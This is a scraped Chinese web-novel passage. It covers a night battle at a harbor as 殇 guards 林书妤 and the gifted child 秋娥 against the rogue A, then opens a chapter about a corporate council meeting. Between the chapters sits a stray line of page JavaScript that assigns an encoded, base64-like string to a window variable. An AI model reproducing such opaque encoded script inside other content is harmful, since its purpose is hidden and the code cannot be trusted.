“你没在开玩笑吧?这好端端的泪水怎么能跟块镶嵌星辰的宝石似的?莫非......也许我明白你为何找我来了。” 林书妤拿出一张照片,将照片交给了殇。殇拿起照片一看,照片里是个蓝头发的小姑娘,看着岁数不大,只有十一二岁的样子。 “这个孩子叫赫连秋娥,是人类之中少有的超能者。” 林书妤解释道。殇有些好奇,于是追问道: “超能者?” “对。超能者是一种很特殊的人群。他们生下来就拥有核心,并且核心是作为他们体内的器官存在的。超能者一旦觉醒了核心能力,对每个超能者的生活都会产生影响。因为超能者的核心能力太过强大,以至于可以比肩都市之光或调解人。若是加以训练,甚至可以比肩管理员。” “那秋娥......” “秋娥的核心能力是‘煌辉新星’,是一种能通过吟唱来化星辰为友的究极核心能力。其威力巨大无比,甚至可以在弹指间让数十人灰飞烟灭。” “卧槽!这么强吗?” “没错。” “超能者有什么特点吗?” “超能者的核心能力需要某些刺激才能激活,据说x晶体是最好的催化剂。这点跟普通核心使者不一样。还有,超能者的能力都是取决于超能者的内心,而不是像普通核心使者一样随机觉醒。例如秋娥,她喜欢天文学,自己又害怕孤独,所以她的能力才跟星辰与朋友有关。” “哦......那你找我来的意思就是想让我保护这小丫头?” “是,但又不完全是。” “怎么个意思?” “我想让你在今天半夜的时候护送我和秋娥,直到我们坐上一艘游艇离开。至于钱吗......我给你八百八十八。路上的伙食费住宿费什么的我都给你包了。” “诶?你这么阔的吗?” “还算行啦。也就月入五千三。” “我滴妈啊!你是干啥工作的?” “嘻嘻,秘密。” “那这滴泪是......” “秋娥昨夜想妈妈了,没控制情绪,产生的核心能量过量溢出。为了不伤害周遭的一切,秋娥就把逸出的能量汇聚成这滴泪水。原来这是块路边的石头......” “哦。” 殇这时突然想起了伊。据伊曾跟他说的,伊貌似出生时体内就有一块核心,而非后天佩戴进去的。听林书妤这么一说,仔细想想,殇就能解释为什么伊可以看到别人记忆了。 殇心里: “也许伊也是个超能者吧......” 时间飞逝,太阳落入地平线下,一轮圆月升上天空。今晚是个晴朗的夜,抬头看是满目星空。璀璨的星光普照大地,星光之下无阴暗之处。夜晚的城市似星空倒映于大地,城中的霓虹光能跟星光赛耀明。夜的寂静在城中荡然无存,夜的城市怎会在星光下寂静? 东城外的珊瑚镇之中,白日沉睡的猎手在此刻全部苏醒。他们遁入夜色,隐匿在令人恐惧的黑之中,时刻等待猎物现身。此时此刻,一艘游艇慢慢驶向了珊瑚镇的港口。 东城的夜色很美,林书妤的目光被其深深吸引住了。林书妤此时正在珊瑚镇某个宾馆的某个房间里等待午夜到来。她站在房间的某个窗户前,静静地欣赏窗外远方东城的美丽夜景。突然,有人拽了拽她的衣角。她回过神来,转头看向身后。这时,一个抱着兔子娃娃的蓝发女孩出现在她身旁。这个孩子绿色的眼眸中闪烁着星光,其中还流露出几分恐惧。她面前的这个孩子就是赫连秋娥。 “林姐姐,我害怕。” 秋娥不安地对林书妤说。秋娥的害怕唤来了无数颗微星的汇聚,很快屋内就亮起了三十多颗微星,顿时间屋内的亮度逼近白昼。林书妤见了,赶忙俯下身去去安慰秋娥。 “别害怕,秋娥。姐姐在这呢。” 林书妤对秋娥安慰道。林书妤的话语起了作用,秋娥的情绪稍稍稳定了一点,屋内的微星瞬间消失了一大半。秋娥放下手中的娃娃,一把扑进林书妤怀里,给了林书妤一个爱的抱抱。林书妤抱紧了她,轻声地安慰她。慢慢的,屋内的微星全部消失了。 林书妤心里: “真是可怜秋娥了。若不是家里出了那么多乱子,她也不至于担惊受怕成这样。唉......希望她姥爷G能够帮她解决那些麻烦吧。” 秋娥突然松开手,往后退了两步。她抬起头看向天空,似乎看到了什么。林书妤抬头向上看,只看到了天花板和一盏灯。林书妤猜,这可能跟秋娥的特殊能力有关系。这时,林书妤感到一阵突如其来的头痛,她的双眼瞬间失明了。刹那间,她又能看见了,头痛也同时消失了。林书妤一脸疑惑,不知刚刚发生了什么。她说: “奇怪......刚刚是怎么回事?难道是秋娥的特殊能力?” 这时候,秋娥开始自言自语。 赫连秋娥: “ΣiνtΒ?pa,θe?tη?δημioupγ?a?,uπ?ptatη.天啊,是鸿蒙的法术吗?大法师,魔法喷泉。好耶!厄嘉耶罗什黑魔法味的冰淇淋。” 林书妤: “呃......秋娥,你是看到什么了吗?” 赫连秋娥: “tpei?γ?poiπaγk?σμiouk?kλou,kiβwt??ζw??,xaotik?σ?μπaν.妈妈的妈妈?战争?生命水晶!童话是真的。吃不完的蛋糕,梦中的摇篮。哇哦!那该有多美好啊!” 林书妤: “这些东西......也许我该告诉殇。” “Σ?γkμa,σπouδa?o?texν?tη?.Κ?pμeν,?λatouν,epeuνηt??.tpei?k?σμoi,kataσtpoφ?kaiaνaγ?ννηση.千层面?扑克牌?旋转楼梯,图书馆,深渊,黑森林......大法师,大法师!抱歉,惹得你生气了。嗯,知道了。大法师,林姐姐该......哦。谢谢你,大法师。” 说完这些,秋娥低下了头,然后一声不吭。林书妤见了,有些好奇,于是就问秋娥: “秋娥,你刚刚在和谁说话?能告诉姐姐吗?” 秋娥背过手来,摇头的同时身体轻微晃动,像是在跟林书妤撒娇。秋娥很委婉地对林书妤说: “姐姐......我要做个有诚信的孩子。我答应大法师不告诉任何人。林姐姐,对不起......” 林书妤摇摇头,笑着对秋娥说: “没事,秋娥。诚实守信是好习惯,你不告诉姐姐也没事。姐姐不会怪你的,反而会给你点个大大的赞。” 秋娥高兴地笑了。她一脸惊喜地说: “真的?林姐姐。” 林书妤点头,说了声嗯。秋娥此刻很开心,开心到体内的能量有些逸出,弄得屋内又出现了许多微星。林书妤一看,吓得浑身一激灵,赶忙去稳定秋娥的情绪。等稳定住秋娥的情绪后,那些微星又消失了。林书妤叹了口气,她调侃秋娥: “你呀,可真是我的小祖宗啊。” 秋娥被林书妤的这句话给逗笑了。秋娥捂着嘴偷笑,她的样子格外可爱。林书妤看她这样子,无奈而又开心地露出笑容。 过了一会,午夜的铃声传来,宣告着一天真正的结束。林书妤听到后,知道时候已到。于是她露出笑容,用温柔的语气对秋娥说: “秋娥,我们该走了。” 秋娥对林书妤撒娇,有些不乐意地说: “不嘛。再玩一会嘛......林姐姐。” 林书妤摸了摸秋娥的头,轻声告诉她: “听话,秋娥。姥爷还在等着你回家呢。不想跟妈妈团聚啦?” 秋娥摇摇头。林书妤用温柔的语气对她说: “你想妈妈吗?” 秋娥点点头,说: “想。” “林姐姐领你去找妈妈好不好?” “好。” 之后,林书妤带上装备,领着秋娥匆匆离开了宾馆。此时,在宾馆外的路灯杆下,殇已经等候多时了。见林书妤领着秋娥出了宾馆门,殇立马就迎了上去。秋娥有些怕生,见殇走过来,很害怕地躲在了林书妤身后。 殇: “等你们等半天了。我见那游艇也到港口了,我们赶紧走吧。有我护着你们两个,放心吧。” 林书妤: “嗯。殇,你得注意!我也不知道到底会不会有人来拦截我们。我担心我们会碰上什么硬茬。” 殇很自信地说: “硬茬?放心,我的实力够强大。” 林书妤有些担心地说道: “还是小心为妙。还有,殇。你一定要先把秋娥护送上船!她是我此行来的目的。无论如何都得把她护送走!如果让她落入他们手里,那后果将不堪设想!她的力量被利用后谁也不知道会发生什么。” 殇: “知道了。” 秋娥有些害怕地对林书妤说: “林姐姐......他是不是坏人呀?” 林书妤安抚秋娥: “放心,殇不是什么坏人。他是来护送我们上船的。” 殇看秋娥笑了笑,然后说道: “这小孩还挺可爱的。别怕,孩子,叔叔可不是坏人。” 秋娥听殇和林书妤这么一说,也便不那么害怕殇。林书妤安抚完秋娥,就拉起她的手,向着港口赶去。殇紧跟着她们两个,像个守卫一样时刻守护她们两个。在赶往港口的过程中,殇察觉到了镇子内的异样。有许多眼睛在暗处注视着林书妤她们,一团团暗影在黑暗中摩拳擦掌、蓄势待发。殇此刻变得警觉起来,他将核心能量汇聚在全身,准备应对随时可能发生的战斗。 林书妤和秋娥奔跑着,许多道幽光在暗处紧随着,像是一只只幽灵在追猎。林书妤用余光注意到了那些紧随着的幽光,她不禁感到紧张与害怕油然而生。为了不打草惊蛇,她没说出这一点来,只是嘴里默念道: “终究还是被盯上了吗?” 离开房屋多的镇区,林书妤她们抵达港口。这时,那些隐秘在黑暗之中的暗影全部在港口上现身。他们迅速在林书妤她们前方形成一道人墙,堵住了唯一一条登上游艇的道路。林书妤她们见此感觉不妙,于是立马停下脚步,接着在原地注视这些突然出现的神秘人。 林书妤和秋娥心有畏惧,看着这些装备精良就有些胆怯。而殇不一样,面对对方这么多人,殇只不过平淡一笑,平步青云般地往他们那走了三步,用行动宣告自己的意志。见殇如此,对方心有顾虑,生怕殇是什么强人。但对方依然是面不改色,心乱人不能乱的境界此刻展现了出来。 殇嘴角上扬,露出一抹阴森而又和蔼的微笑。殇自然地说道: “我们要经过,麻烦让个道好吗?” 那些人没一个人应答,始终保持以警惕的样子去看殇他们。殇见他们不作回应,就问他们: “是我刚刚说的话你们没听清楚是吗?那我再跟你们说一遍。” 殇的表情瞬变,笑意消逝的飞快,就跟闪电一样。殇一脸严肃地说: “请,给我们让路。如果听不到的话,那就别怪我把你们当好事之徒处理掉了!” 那些人一听,还没应答,就依旧搁那一动不动地干盯着。殇没了耐心,正要上前用武力解决他们,这时身后突然传来一句话。 “抱歉,来晚了。” 殇转身看去。一个黑发的西服男按着头顶的矮顶礼帽,走着端庄而又优雅的步伐,一步一步向着殇他们走来。他从镇中的街道走到了码头的边缘,在距离林书妤还有个十几米的时候停下。他松开按着礼帽的手,他的面容此刻清晰起来。 “看来你为了这个小家伙,还请了个暴躁保镖?” 他边说边拿出一块怀表,认真地看了看时间,随后放下怀表。他审视着林书妤她们三人,他的眼光之中流露出不屑与敌意,看样子丝毫没把林书妤她们放在眼里。 见到这个男人时,秋娥异常的害怕,一下子躲在林书妤身后。秋娥闭上眼睛,害怕地全身发抖。秋娥嘴里念叨着什么,似乎是什么咒语,又似乎是她又跟某个存在进行着沟通。 “大法师,就是他,是他......坏叔叔,坏叔叔。” 殇见了他,立马就摆出了战斗的架势,以此来宣告自己的想法。不仅如此,殇还用敏锐的目光捕捉着他身上的每一处细节,以此来判断他是个怎样的对手。值得殇注意的是,他的眼光虽流露不屑与敌意,看似对殇他们毫不在意;但在这层不屑与敌意之下,还隐藏着几分恐惧与强烈的希望,似乎他要抓住救命稻草一般! 殇心里: “这个对手......一定有故事。” 除此之外,殇发现他的皮肤保养的不错,他看着还很年轻。但这层年轻下潜藏着被岁月侵蚀过痕迹,而且这痕迹非常深,能看出他曾试图掩盖这些痕迹。当殇再次看向他的眼睛时,看到了他眼神中的沧桑与不甘。那种眼神似曾相似,他曾在楚眼中看到过那些,是经历过世间的喜怒哀乐的沧桑,是失去重要之物后又试图挽回的不甘。 殇心里: “他注定是个不简单的对手。” 林书妤见了他,皱起眉头来,一脸不乐意的样子。貌似林书妤跟他认识。林书妤对他说: “A!你还是来了。” 听见林书妤叫自己,他嘴角上扬,露出一抹神秘的笑容。这抹笑容让林书妤不寒而栗,她从心底里怕着这个男人。他苦笑着对林书妤说: “你还记得我啊,林主管。您可真是贵人不忘事啊!” 听他这么一叫,林书妤的表情由不乐意变成忧虑。林书妤没有口头否决,也没有口头承认。她只是无奈地低下头来,发出了一声委婉的叹息。林书妤的举动引得他发笑。他不知道自己为什么笑,只知道这笑容能稍稍冲散他心底的波折。他对林书妤说: “我们曾是一家人,对吧?至少我是曾那么认为的。除了她以外,你是我第二亲的人,起码在公司里是这样。” 林书妤的眼神顿时变得悲伤许多,似乎是回忆起了过去的酸楚。 “我已经为此走了太远了!我背叛了很多,才走到今天这个地步。虽然我除了钱和命以外一无所有,但我那颗心还是没死透!鸿之棋,鸿之棋!你可曾理解那究竟是什么?!” 林书妤咬咬牙,表情变得愤怒起来。她挥手,大喊道: “你疯了!A。” 他苦笑三声,拍了拍手,说道: “我疯了,哈哈哈,对呀,我疯了呀!是吧,这个世界是疯狂的,那么我是不是个正常人呢?还是说,我是最清醒的那一类人?” 林书妤无奈的沉默了,她不知道该怎么去反对他了。对于林书妤来说,任何的挖苦与斥责对他来说都没有用,他早已疯癫。见林书妤不说话了,他笑了,笑得痛苦而又疯癫。他质问林书妤: “如果一个人的一生可以平凡而又平安地度过,有几个人回想去逆天改命呢?但若碰上了灾难与浩劫,找到机会的你,难道就不想逆天改命?你难道就不会越过那条红线?甘愿痛苦一生吗?” 此时,许多微星与几朵星云出现在秋娥的身旁,是秋娥的情绪波动造就了这些。这打断了他深情地的诉说,顿时让他勃然大怒。 “别打扰我!” 他大声地喊道。接着,他从口袋里拿出一块白色的晶石,然后高高举起。晶石闪烁三下,释放出三道白色球形震荡波,顿时间让那些微星与星云灰飞烟灭。秋娥逸出的核心能量在此刻得到抑制,秋娥的能力也在此刻突然失效。震荡波让殇他们全身酥麻了片刻,除此之外别无影响。震荡波过后,几道白色的能量飞入这块晶石之中。随即这块晶石化身成一个灯泡,开始发光。他收起这块晶石,继续说道: “人们常说:‘只要有希望,哪怕渺茫,就能有奇迹出现。只要肯努力去做,任何困难都可以被化解。’人们还说:‘每一个为梦想努力的追梦人都是值得人们尊重的。’可为何这例子为何到了我身上,你们却要说我是个疯子呢?难道我的梦想就不是梦想了?还是说我的努力不是努力?哦~~我突然知道了。是你们从始至终就没把我当成个人罢,对吧?对于我这样的人来说,不听话不就是垃圾吗?昂?” 他的自说自话听上去疯狂,但又处处体现着真实;头头是道、有理有据,让人找不出反驳的地方。林书妤放弃反驳他,转而去接受他这些话语。对于林书妤来说,他说的都是事实。在一旁的殇听他这么说,隐约感觉到他心里的痛楚。殇也选择了沉默,尽管他此刻想问很多。 A再次拿出怀表看了看,然后放下怀表。A对着左右两边伸出了手,紧接着几团黑色闪电从他后背处泛起。然后这些闪电慢慢凝结成团飘出,最后绕半圈汇聚在A的手中。黑色闪电在A的左手汇聚成一把造型前卫的黑色手枪,其名为“暗夜爪牙”;在A的右手汇聚成一把黑色的折叠式长刀。其名为“冥王星”。此时A的表情逐渐变得严肃起来。 见A这个架势,林书妤立马拿出那本黑皮金纹书,并将核心激活。在她衣服上隐藏着的几个六边形图案此刻发出金色的光芒,她的双眸在此刻变得金黄。林书妤的表情变得坚定且严肃。 林书妤: “天下一通·定八方,平中原。” 三层法环环绕在秋娥的脚底下,两层如琉璃一般的保护罩罩住秋娥,使得她身边五步以内均无敌人侵扰。林书妤同样在保护罩之中,但她很快就走出了保护罩的保护范围,她要独自去面对A。 空气中的火药味愈发浓烈,两方都已蓄势待发。此刻,世界宁静了。这宁静非常短暂,短暂到不惹人在意。 宁静之后,战斗一触即发。 那些神秘人和A同时行动,以迅雷不及掩耳之势发动了进攻。那些神秘人拿着各式武器向着殇奔来,声势浩大如狼群进攻。面对如此多的精兵,殇不得掉以轻心。 殇: “激活,E协议!生成Emw-136-1,镜之边缘。” 一面边缘嵌着银边装饰的黑色魔镜盾牌生成在殇的右手上,这是他击败银幻之梦后获得的Emw。拿着这面盾牌,殇静待敌人上前。盾牌这东西,他用得比谁都溜活。 在其中一人跑到殇面前时,嗖的一下抽出刀来,对着殇一刀砍了过去。殇迅速做出防御姿态,将核心能量瞬间凝聚在盾牌之上。殇如迅雷般快速出手,完美招架下了这一刀。当的一声,那人的武士刀咔嚓一下碎掉了。招架的瞬间,嗡的一声,几团巨大的黑色幻云从盾牌上喷发出来,半秒内达到十米的最大射程。幻云蕴含着强大的力量,所贯穿之人的五脏六腑都会收到严重的伤害,从而瞬间失去战斗力。不仅如此,幻云还会产生致幻效果,能造成精神上的损伤。 仅仅是招架一下,那些神秘人就倒下了大半。其中属最惨的,还是被招架的那人。那人当时被大片幻云贯穿,直接七窍流血加吐血倒地了。其他的人见了,瞬间吓得掏出枪来,都不敢靠近殇。他们用枪对着殇扫射,殇举起盾牌,唤回那几团幻云。幻云在殇附近旋转,形成了一团迷雾将殇覆盖。片刻之后,迷雾散去,殇消失了。 他们见了,不禁背后发凉。他们十分警惕地端起枪环视周围,一动也不敢动,生怕会突然遭到袭击。这时,他们当中有一人发出了一声惨叫,随即那人被殇一脚踹飞了出去。其他人没等去看,就被飞来的盾牌给打倒在地。顿时间,这些拦路的人全数倒下,战斗以殇的单方面强攻而结束。看着地上的拦路者们,殇摇了摇头,吐槽道: “就这吗?我还以为你们挺厉害的。” 殇转念一想,又改了口。 “不对。我应该说是这武器太过于强大了,毕竟是都市传奇银幻之梦的特殊Emw。我觉得......我以后尽量别用这武器,除非是必有死者的局。” 林书妤这边正与A打得不可开交。林书妤操纵手中的黑皮金纹书,释放如雨点一般的白色穿刺魔弹,在顷刻间形成骤雨之势,迎面袭向A。A见了,抿嘴一笑。A灵活地挥转起手中的冥王星,配合着他灵巧的身法,嚯嚯几下,魔弹尽数被弹反回去。所幸林书妤的魔弹有识别性,被打回去的魔弹都被黑皮金纹书给回收利用。 A: “尝尝这个!” A抬起左手,用暗夜爪牙连开五枪,同时转身挥刀,砍出一道黑色的剑气。林书妤操纵黑皮金纹书,生成律法之柱抵挡下A全部的攻击。抵挡完的瞬间,林书妤击碎律法之柱使其爆炸,炸出九颗威力巨大的魔弹。A不紧不慢地正了正自己的帽子,然后凌空一跃,在魔弹飞来之际全部躲开。A的背后出现了白色的法环,强大的能量在此刻汇聚于A的全身。 A: “注意脚下!女士。” A猛地下落砸地,砸出三道半刃状白色气浪。这三道气浪如飞出的利箭一般迅速,没等林书妤反应过来就到了林书妤的身前。气浪即将击中她之时,殇挺身而出。殇将幻云召唤到身旁,在举盾之际引爆幻云,释放大范围冲击击碎气浪。挡下这一击后,林书妤虽然没被气浪打中,但她的五脏六腑都收到了冲击的影响。 殇: “还好及时。林书妤......林书妤?” 殇转头看去,发现林书妤坐了在地面上,抬起头呆呆地望着天。她此时双眼通红,眼神呆滞,感觉整个世界都在无规则地旋转。殇看她这样,瞄了一眼自己手中的盾牌。回想刚刚那些人的样子,他瞬间明白了一切。林书妤一脸疑惑地说: “怎么回事?好晕呐,感觉好像坐过山车一样。我是谁?我在哪?秋娥在哪里?” 殇尴尬地拍了下额头,说: “哎呀,抱歉啊,林书妤。误伤到队友了。” 林书妤呆呆地坐在地面上望着天,嘴角流着口水,嘴里还不知道在念叨着什么。殇的这一下貌似给她震傻了,借此殇也发现新武器的新功能。见到此情此景的A,忍不住捧腹大笑起来。A笑着调侃殇: “哈哈哈哈!兄弟,你可真是患难见真情的好队友啊!要是威力再大点,你就算是抢人头了。” 殇转过头去,指着A说: “放心,下一个变成这样的......是你。” A想严肃,但还有些意犹未尽。他花了几秒钟时间平复情绪,然后重新恢复战斗时的严肃。A对殇说: “兄弟,多的话咱就别说了。让我看看!你的实力。” 殇点点头,表示赞成。 “正有此意。” 说完,殇和A开始了激烈的打斗。 A连续挥砍,殇连续招架,金属碰撞声络绎不绝。似乎A与林书妤的战斗是放了水,A在进攻殇时更加迅猛。A对殇用出了浑身解数,A像是发现了殇是个强者。殇招架时释放的幻云冲击A早有预防,A每次近殇身时都会快速连砍,因为这样能让幻云冲击无法及时释放。但A似乎没注意到,他的这番举动却让幻云在殇身旁盘踞的更多了,这会带来什么后果他不得而知。 在打了一小段时间后...... A: “午夜五连击!” A抬起枪连开五枪。这五枪不是普通的五枪,这每一枪打出的子弹都是凝聚了黑色闪电的,威力要比正常子弹大上不少。殇见了,正要举盾用幻云冲击弹反这些子弹,突然间,他手中的盾牌说了一句话。 镜之边缘: “幻云极乐炮准备就绪。” 殇一听,寻思着尝试用一用。他举起盾牌,将幻云的力量都会聚在了盾牌之上,镜面之中。举盾的瞬间,许多团幻云从镜面之中爆炸式喷涌而出,刹那间形成了一朵漂亮的五瓣花。见到这朵花的瞬间,A察觉到了不妙,他立马拿出了之前的晶石。绽放之后,幻云快速回旋归入镜面。很快,幻云汇聚成一颗巨大的魔弹。 殇: “幻云极乐炮!” 殇敲击盾牌,像是扣动了发射键。轰的一声,一颗黑色的魔弹从镜中急速飞出,像一颗炮弹一样飞向了A。A见此,立即释放出晶石中的能量,制造了一道强大的能量脉冲,赶在魔弹击中自己前迅速击碎了魔弹。轰轰几声,魔弹发生猛烈的连环爆炸。爆炸激起了一片片的尘雾,无数碎石渣在爆炸中四散而飞。爆炸的范围不大,但威力却不小。 A: “你这家伙是想要我的命啊!不至于啊,哥。” 尘雾散去,A还没来得及看清殇的身影,四条巨大的黑色触手就从盾牌中伸出,狠狠地向他抽来。A举刀格挡,但无济于事。这四条触手跟鞭子似的,啪啪几下抽在了A身上,抽的A差点就栽倒过去。抽完这四五下,这几条触手就缩了回去。紧接着,殇下压身体,一个箭步向A奔袭而来。 殇: “隼之盾冲!” 殇举着盾撞了A一下,直接给A撞退出去七八米。撞完这一下,战斗就结束了。A停下后,弯着腰喘着粗气,毫无继续战斗的意向。殇看了看手中的盾牌,无奈地摇了摇头。他没料到这一炮的威力能有那么大,要是A没有那块晶石,他就得错杀一人了。 殇心里: “看来这盾牌真的只有在特殊情况下才能用了。” 殇将这面盾牌分解,而后向着A那边走了三步。A见殇向自己这边走来,立即后撤几步,并摆手示意。 A: “诶!老哥,别打了。我认输,我认输......” 殇: “呃......认输就好。赶紧滚吧,我不想看见你。” A: “喂,别这么冷漠吗!我看你有模有样的,像个学武之人。怎么着,你难道不想跟你的手下败将说点什么吗?” 殇: “说什么?” “对。说点什么。” “好家伙,你这是自来熟啊。” “那可不是。” “告诉我,你是谁?” “我啊,我叫艾伦·希金斯,你可以叫我A。” “你为什么要来抢走秋娥?” “为了什么?哼哼......你马上就会知道了。” 说完,A瞬间掏出远距离电击枪来,趁着殇没来及反应的瞬间,给殇来了一枪。殇没躲开,随后被电倒在地。 殇: “操!上当了。” A: “你还是太年轻了,老哥。” 在殇倒地后,A拿出一个银色的罗盘和一块紫黑色的符文,一个箭步来到秋娥身前。林书妤变傻之后,那保护罩就脆弱的跟张纸一样,A只是一撞就给保护罩撞碎了。见到A来到自己面前,秋娥吓得转身就跑。但没等跑出两步,就被某种力量定在了原地。 A高举那块符文,用核心能量激活了这块符文。在A激活它后,它检测到了秋娥体内的力量,瞬间就与秋娥的核心建立了连接。秋娥体内的能量化作两道紫色的雷电,整整一半汇入了这块符文之中。吸收完能量,A收起核心能量,关闭了这块符文。 秋娥突然感觉一阵晕眩,然后身体一软,趴倒在了地上。A看着此时的秋娥,竟觉得有点惭愧。A小声嘀咕道: “孩子呀......抱歉了。” A收起这块符文,然后走到了殇的面前。殇此时慢慢恢复了知觉,慢慢站了起来。站起来后,殇感到有些生气。在A靠近自己的时候,殇连续两拳打出,但可惜A及时躲开了。 A: “老哥,别激动啊。我不过是找那个孩子借了点能量而已......” 殇: “你这家伙......” 这时,殇的身后传来了一个老男人低沉的嗓音。 “A!我就知道......” 殇转头看去,一个穿白大褂的稍显年老的博士领着四个全副武装的机动队成员出现在殇身后十几米处。见到这些人的时候,殇一脸懵,前后来回看了看,顿时间事情就变得扑朔迷离起来了。 A: “呦,这不是G老吗?怎么您还今日大驾光临了呢?” G: “你这家伙还是跟以前一样,说话都那么欠揍。” A: “G,别那么冷漠。我不过就是借了点东西。” G: “你还要在这段路上执迷不悟下去吗?回头吧,你还有机会安享你的余生呢。” “哦?可是吧,我现在只剩下最后一口气了。何来谈余生呢?” “你太固执了,像个不成熟的孩子。” “孩子?呵呵......对,在你眼里我永远是个孩子。” “A,我念在旧情,我劝你一句,现在收手还来得及。” “哼,哼哼......你还是老样子啊,G。最严厉也是最慈祥的人。真怀念我们曾经共事的时候......” G沉默了。 “我不会停下的,G。即使你让你身边的人开枪射杀我,我也不会认输的!我输了人生的三场博弈,你觉得我还会怕这最后一场吗?” “A,安杰丽娜要是见了你这样子,心情不知是怎样复杂啊。” “呵呵......闭嘴,G。别跟我提她。” “昂?你还是缺少勇气啊,A。” A突然沉默了片刻,似乎是回想起了旧人旧事。沉默过后,A露出一抹微笑,告诉G和殇: “G,还有那个干扰我的家伙,我们以后还会见面的。我有预感,我们之间的恩怨纠葛还没完......” 说完,A打了个响指,走起了月球漫步。一个传送门突然出现A的身后,A倒着走了进去,随即A和传送门一起消失。看着A离开,殇和G的心情都很复杂。两人都沉默了片刻。 沉默过后,G问殇: “你是谁?为什么要插手这件事?” 殇一脸疑惑地回答道: “我只是被林小姐雇佣过来护送她和秋娥的。还有,我还得问你们呢。你们是谁啊?” G沉默了片刻,而后说道: “看来你只是个不知情的第三者。很好,牵扯到的人越少越好。——自我介绍一下,我是G,秋娥的姥爷。” “哦,我听林书妤提过你。” “局外人,今天就当你什么也没看到吧。林书妤答应给你多少钱,我就给你多少钱。” “诶?” G对身旁的机动队队员说: “你们去检查下林书妤和秋娥的情况,然后把她们带上游艇。” “明白,博士。” G身旁的机动队队员即答道。那四人两两分组,一组去检查秋娥,一组去检查林书妤。一旁的殇见了,忍不住好奇,问G: “你到底是什么人?G。” G沉默片刻,而后告诉殇: “我是谁不重要,重要的是我不会插手你的生活。你本不属于这场闹剧,你更不应该去问这个问题。” “难不成,你们是什么隐秘组织的人?” “局外人!别再说下去了。你还太无知,别给我制造你知晓什么的假象。我不想对你使用记忆清除技术。” “呃......好吧。” “你就好好地过你平凡的生活吧。有些时候,你会发现叱咤风云之后最想得到的却是宁静,却是平凡。” 说完这些,G和那四位机动队队员转身离开了。他们登上了游艇,向着远方驶去。殇目送着他们离开,总觉得心里还有个谜没解开。殇此刻回味A说的那番话,觉得挺有道理的。殇心想: “他的那些话总觉得从哪听过。楚,他也曾说过类似的话。难不成他们是一类人吗?唉......以后要是再能见到他,我定得问个清楚。” 殇看了会海,就转身离去了。殇顺着清凉的海风而走,感受着海边夏夜的清凉与宁静。“哗啦啦”,这是大海的声音,是浪在拍打岸边,是波澜游到了岸边。月亮高高地挂在天上,群星在旁边有规律地闪烁,像是为月亮唱支歌。殇找了个高点的地方坐下,静静地回味着刚刚发生的一切。 不知不觉,殇就睡着了。但睡着了没一会,一道温暖的光照在了他脸上,照进了他闭上的双眼之中。他睁开朦胧的双眼,看到一抹光辉从海平面上升起。他睁大了眼睛,仔细一看。那是旭日的光辉,是黎明将至的预兆。 殇的心此时久久不能平静,因为那个谜团还未解开。在看到这抹光辉的时候,他感到莫名的欣慰与释然。真相也许就像这升起的旭日一样,不久后便会到来。到时一切的谜团都能被解开,殇也不必在为这谜团而费脑筋了。 ...... 通历43年8月9日上午十一点。殇收到了林书妤发来的短信与转账。林书妤很感谢殇做的一切,并诚恳地向殇道谢。殇看到后有些不好意思,因为一想到自己误伤到了她,就觉得颜面尽失。殇给林书妤回了条短信,向林书妤致以了诚挚的歉意。发完短信后,殇感觉释然了些,心里的那种愧疚感不那么深重了。 在回到了东城之后,殇正准备去东城之眼接的活干。这时,埃罗给他打来了一通电话。殇刚接通,就听到了埃罗急切的呼唤。 “殇!殇!谢天谢地,你接电话了。” 殇一听埃罗这语气,知道可能出了什么事,就着急问道: “怎么了?埃罗。出啥事了?” 埃罗很着急地告诉殇,着急地都有些磕巴了。 “不......不不......不好了!薇莉莉那边出事了。” 一听这话,殇立马感觉到不妙。他问埃罗: “出啥事了?!别着急,慢慢说。” “星北空他今天凌晨的时候留下一纸告别信,悄悄地就离开了。薇莉莉看完信,不顾自己的身体状况,去找星北空去了。” “啊?!” “还有,哥。星北空上榜了,悬赏五十万呢!现在全城的人都在找他,都要杀了他。我估摸着......收尾人也该出动了。” “操!怎么回事,你把通缉令的照片给我发过来!快!” “好的,哥。” 说完,埃罗把通缉令上星北空的那一页给殇发来。殇点开一看,被惊得目瞪口呆。他实在是没想到,看似平凡的星北空竟然是富家大少爷!而且手里还掌握某项新世代雏形奇点技术!殇震惊了。 “哥呀,你说大姐她要去找星北空,那不是往枪口上撞吗?还有,伊和查尔拉她们去追大姐去了!” “wtF?!什么?走走走!你人在哪?我去找你或者你来找我,我们赶紧把人找回来!这下子要他妈的出人命了。” “好好好,哥。” 结束通话,殇和埃罗互发了实时定位,而后向着对方那里狂奔。这突如其来的变故让殇心里是乱了套了,之前的谜团只能压一压了,现在救人要紧。殇狂奔之时,嘴里不忘念叨: “草了!都乱了套了。星北空啊,星北空。你小子给我等着,等好了!我现在就去救你去。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十话:不辞而别 通历43年8月9日早上7点,三角协会总部。 三位管理员召开了一场会议。会议召开的匆匆,多半的议员都用视频通话的方式参与。这次会议所研讨的,是源能核心是否能存在于市场上的问题。参会的各方都是各大企业的话事人,都是利益涉及方。象征传统核心企业的巨头碧蓝世界,由总裁碧蓝苍穹亲自参会。 待会议人员全部到齐之后,会议开始。会议中的各方都阐明了自己的力场,各方都统一表示中立,唯独碧蓝苍穹表示反对。会议进行到一半,都市之眼埃琳娜传回了一则重磅消息。 “从效用上,源能核心能提高超能者的出现概率,拉高普通核心佩戴者的战斗力。从商业上,其出现会大大影响市场秩序,让传统的核心装置行业遭到严重打击。并且其价格预计远低于传统核心,推测会让核心佩戴者的群体数目翻很多倍。” 知道了这个消息的管理员轇,毫不犹豫地将其展现给参会各方看。 这条消息的重磅让参会各方均未预料到。一瞬之间,利益的锁链与桥梁收到前所未有的威胁,破碎之日的预兆降临在他们每个人的身上。“提高出现概率、改变市场秩序、行业遭到打击。”这是他们敏感的字眼。引起市场变革固然会带来好处,但是代价是牺牲他们的利益,这是他们决不允许的。利益之链破碎之日,就是他们“帝国”覆灭之时。 参会各方立即改变了态度,顿时都站在了碧蓝苍穹这一边。 “我不同意!凭什么?” 其中一位议员很严肃地说道。 “以一己之力要改变整个市场?真是不可思议!” 